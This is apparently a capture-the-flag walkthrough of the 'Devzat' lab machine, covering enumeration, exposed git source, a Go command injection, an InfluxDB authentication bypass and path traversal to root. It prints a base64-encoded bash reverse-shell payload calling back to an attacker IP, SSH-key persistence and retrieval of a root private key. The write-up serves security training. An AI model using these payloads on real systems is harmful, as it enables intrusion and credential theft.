Devzat

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.118 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.118.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=2/17%Time=620F17F2%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Right off the bat we notice that there are two SSH servers running and one is on a non-standard port 8000.

Apache

Navigating to http://10.10.11.118 redirects to http://devzat.htb, so we'll add that to our /etc/hosts file with echo "10.10.11.118 devzat.htb" | sudo tee -a /etc/hosts.

Trying some directory bruteforcing with gobuster dir -u http://devzat.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt finds nothing interesting:

/images               (Status: 301) [Size: 309] [--> http://devzat.htb/images/]
/assets               (Status: 301) [Size: 309] [--> http://devzat.htb/assets/]
/javascript           (Status: 301) [Size: 313] [--> http://devzat.htb/javascript/]

Let's follow the directions at the bottom of the site: ssh -l william devzat.htb -p 8000. We get a simple messaging interface. After sending some messages and the message help this comes up:

devbot: See available commands with /commands or see help with /help ⭐

Sending /help outputs:

[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere.
[SYSTEM] 
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM] 
[SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM] 
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM] 
[SYSTEM] For a list of commands run
[SYSTEM] ┃ /commands

Visiting the linked GitHub repo shows a seemingly legitimate project.

Sending /commands outputs:

SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] color - Change your display name color
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text
[SYSTEM] example-code - Hello world!

After looking around, it seems like this is a legitimate service with no vulnerabilities.

Virtual Hosts

This page has some good information about virtual host fuzzing.

To scan for virtual hosts we need to start our own local DNS server since the /etc/hosts doesn't support wildcards. We can use dnsmasq. Start it with sudo systemctl start dnsmasq. Then, edit the config file at /etc/dnsmasq.conf by adding address=/devzat.htb/10.10.11.118 like so: echo 'address=/devzat.htb/10.10.11.118' >> sudo /etc/dnsmasq.conf. Finally, reload the dnsmasq service by running sudo systemctl reload dnsmasq.

  • gobuster command: gobuster vhost -u http://devzat.htb -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt. However, it is just full of HTTP code 302 responses, which in theory can be filtered with -b 302, but that didn't work for me.

  • ffuf command: ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -fc 302 (more command examples here).

ffuf finds the pets subdomain:

pets                    [Status: 200, Size: 510, Words: 20, Lines: 21]

Pets Virtual Host

This page contains a list of pets with 3 fields: name, species, and characteristics. There is also a button to delete items from the list. Additionally, we can add a pet by entering the name of the pet and selecting a species from a drop down list. Clicking the delete button shows a message saying Not implemented, yet.

Adding pets works as expected but after trying an SSTI (specifically, {{7*7}}), the only output added to the list is exit status 1. So, that is strange. We might have some sort of command injection.

Let's do directory bruteforcing with ffuf: ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://pets.devzat.htb/FUZZ -fs 510.

ffuf results:

.git                    [Status: 301, Size: 41, Words: 3, Lines: 3]
build                   [Status: 301, Size: 42, Words: 3, Lines: 3]
css                     [Status: 301, Size: 40, Words: 3, Lines: 3]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10]

There is a git repo. We can download the git repo with wget -r -np -R "index.html*" http://pets.devzat.htb/.git/. Run git checkout -- . to restore the working directory since we only download the .git/ folder, not the entire working directory.

Pets Source Code

Looking at git log and comparing commits with git diff shows that nothing was changed much in previous commits. We didn't find anything useful in previous commits.

Looking at the main.go file we see a section that is probably vulnerable to a command injection:

func loadCharacter(species string) string {
    cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
    stdoutStderr, err := cmd.CombinedOutput()
    if err != nil {
        return err.Error()
    }
    return string(stdoutStderr)
}

This function, loadCharacter, is called by addPet, which is called when a pet is added through the user interface. Thus, we can control the species variable in this function.

As you can see, POST requests go right to the addPet function:

func petHandler(w http.ResponseWriter, r *http.Request) {
    // Dispatch by method
    if r.Method == http.MethodPost {
        addPet(w, r)
    } else if r.Method == http.MethodGet {
        getPets(w, r)

    } else {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
    }
    // TODO: Add Update and Delete
}

In the handleRequest we discover that pets are added by POSTing the data to /api/pet. We could have also found this out using our browser's developer tools and monitoring the network requests.

Foothold

Let's try a command injection using curl since the website's interface only lets us select species from a drop down. Our command injection payload is dog;bash -i >& /dev/tcp/10.10.14.25/17344 0>&1. We need to specify dog to finish off the cat command since we only control the command input after cat characteristics/[OUR INPUT]. We are using a simple bash reverse shell (more reverse shell options here).

We can encode our payload as base64 so we don't have to deal with formatting issues: echo -n "bash -i >& /dev/tcp/10.10.14.25/17344 0>&1" | base64: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx. Now, our payload is dog;echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx' | base64 -d | bash

curl --header "Content-Type: application/json" \
  --request POST \
  --data '{"name":"a","species":"dog;echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx' | base64 -d | bash"}' \
  http://pets.devzat.htb/api/pet

Start a listener with netcat with nc -nvlp 17344 or use pwncat. This gives us a reverse shell connection to the user patrick. We can get persistance with run implant.authorized_key key=/home/kali/.ssh/id_rsa in pwncat. Now, we can connect with ssh -i /home/kali/.ssh/id_rsa patrick@devzat.htb.

There is no user.txt in patrick's home directory. However, cat /etc/passwd shows another user catherine with uid 1001.

Lateral Movement

Let's upload LinPEAS with upload linpeas.sh and then run it with bash linpeas.sh.

Under the "Active Ports" section we see two unknown ports with services running locally: 8086 and 8443.

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                                                  
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      868/./petshop       
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      872/./devchat

We can forward these to our attacker machine and investigate them using nmap. Let's first forward them using SSH: ssh -i /home/kali/.ssh/id_rsa -L 8443:localhost:8443 -L 8086:localhost:8086 patrick@devzat.htb.

Let's scan with nmap: nmap -sC -sV -p8443,8086 localhost:

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8443/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  256 66:61:73:b4:a2:9c:b1:b7:a9:81:7a:6e:1d:5d:fc:ec (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.92%I=7%D=2/18%Time=620F2EF9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");

Looks like port 8443 is devzat from before. Connecting with ssh -l william localhost -p 8443 shows that it is. So, we can ignore that. Thus, our port forwards only needs to contain port 8086: ssh -i /home/kali/.ssh/id_rsa -L 8086:localhost:8086 patrick@devzat.htb.

InfluxDB

Port 8086 is much more interesting. It contains "InfluxDB http admin 1.7.5". However, navigating to http://localhost:8086/ just shows 404 page not found.

Searching "InfluxDB http admin 1.7.5" online finds the HackTricks page on it, which is really great. We learn that InfluxDB is "an open-source time series database (TSDB) developed by the company InfluxData. A time series database (TSDB) is a software system that is optimized for storing and serving time series through associated pairs of time(s) and value(s)."

The second result when searching "InfluxDB http admin 1.7.5" is LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933. According to the repo: "InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). Exploit check if server is vulnerable, then it tries to get a remote query shell. It has built in a username bruteforce service."

Let's try to use this exploit since the target is running a vulnerable version of InfluxDB.

git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git
cd InfluxDB-Exploit-CVE-2019-20933
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt
python __main__.py

Running the exploit:

Host (default: localhost): 
Port (default: 8086): 
Username <OR> path to username file (default: users.txt): 

Bruteforcing usernames ...
[v] admin

Host vulnerable !!!

Databases:

1) devzat
2) _internal

.quit to exit
[admin@127.0.0.1] Database: devzat

Starting InfluxDB shell - .back to go back

Now, we have an InfluxDB so let's try to list the tables. Searching online for how to do this reveals that we need to run the SHOW MEASUREMENTS command. You can learn more about InfluxDB queries on this page.

[admin@127.0.0.1/devzat] $ SHOW MEASUREMENTS
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Now, we can dump all the fields from the users measurement:

[admin@127.0.0.1/devzat] $ select * from "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

catherine User

Now, we have credentials for catherine (woBeeYareedahc7Oogeephies7Aiseci), which will hopefully be the same as the user account catherine on the system.

Trying to simply ssh to the account with ssh catherine@devzat.htb outputs Permission denied (publickey). So, it looks like password based ssh login is disabled.

However, since we are already signed in as patrick, we can su catherine and enter the password woBeeYareedahc7Oogeephies7Aiseci, which works.

We can now get the user.txt flag with cat /home/catherine/user.txt.

We can gain persistance by adding our public key to catherine's ~/.ssh/authorized_keys file: echo [PUBLIC KEY HERE] >> ~/.ssh/authorized_keys. Now, we can connect with ssh -i /home/kali/.ssh/id_rsa catherine@devzat.htb.

We can use this command to find files owned by catherine or that are world writable (from Weird Location/Owned files - HackTricks): find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null:

/snap/core18/2128/tmp
/snap/core18/2128/var/tmp
/snap/core18/2074/tmp
/snap/core18/2074/var/tmp
/dev/mqueue
/dev/shm
/home/catherine
/tmp
/tmp/test.txt
/tmp/tmux-1001
/tmp/.X11-unix
/tmp/.Test-unix
/tmp/linpeas.sh
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.XIM-unix
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip
/var/crash
/var/tmp
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/run/user/1001/systemd/units
/run/user/1001/inaccessible
/run/screen
/run/lock

These same results will appear when running LinPEAS under the header "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)."

The files /var/backups/devzat-main.zip and /var/backups/devzat-dev.zip are interesting. Maybe the devzat service is exploitable after all. We can download them easily using pwncat's download command.

Devzat Backups

We exact the backups and then find the difference between them using diff dev main:

diff '--color=auto' dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
>    "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff '--color=auto' dev/commands.go main/commands.go
4d3
<       "bufio"
6,7d4
<       "os"
<       "path/filepath"
40d36
<               file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}                                                               
42,101c38
<       commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}                                                                                             
< }
< 
< func fileCommand(u *user, args []string) {
<       if len(args) < 1 {
<               u.system("Please provide file to print and the password")
<               return
<       }
< 
<       if len(args) < 2 {
<               u.system("You need to provide the correct password to use this function")
<               return
<       }
< 
<       path := args[0]
<       pass := args[1]
< 
<       // Check my secure password
<       if pass != "CeilingCatStillAThingIn2021?" {
<               u.system("You did provide the wrong password")
<               return
<       }
< 
<       // Get CWD
<       cwd, err := os.Getwd()
<       if err != nil {
<               u.system(err.Error())
<       }
< 
<       // Construct path to print
<       printPath := filepath.Join(cwd, path)
< 
<       // Check if file exists
<       if _, err := os.Stat(printPath); err == nil {
<               // exists, print
<               file, err := os.Open(printPath)
<               if err != nil {
<                       u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))                                                                                      
<                       return
<               }
<               defer file.Close()
< 
<               scanner := bufio.NewScanner(file)
<               for scanner.Scan() {
<                       u.system(scanner.Text())
<               }
< 
<               if err := scanner.Err(); err != nil {
<                       u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))                                                                                     
<               }
< 
<               return
< 
<       } else if os.IsNotExist(err) {
<               // does not exist, print error
<               u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
<               return
<       }
<       // bokred?
<       u.system("Something went badly wrong.")
---
>       commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}    
diff '--color=auto' dev/devchat.go main/devchat.go
27c27
<       port = 8443
---
>       port = 8000
114c114
<               fmt.Sprintf("127.0.0.1:%d", port),
---
>               fmt.Sprintf(":%d", port),
Only in dev: testfile.txt

At the bottom we see that the developer instance of devzat is running on port 8443 while the main version that we could access before is running on port 8000.

It looks like the main difference is that the development version has a file command with the description "Paste a files content directly to chat [alpha]".

We will need to provide a password to use this command, which is in plain text in the code: CeilingCatStillAThingIn2021?.

Getting root

Let's connect to the development version of devzat with ssh -l william localhost -p 8443:

william: /file
[SYSTEM] Please provide file to print and the password
william: /file /root/root.txt
[SYSTEM] You need to provide the correct password to use this function
william: /file /root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/root.txt does not exist!
william: /file ../root.txt CeilingCatStillAThingIn2021?

Running /file ../root.txt CeilingCatStillAThingIn2021? returns the root flag.

We can get root's private key with /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?. Now, we just paste that into a file, change the permissions with chmod 600 devzat_root_key, and ssh to the machine as root with ssh -i devzat_root_key root@devzat.htb. Finally, we have a root shell.

Last updated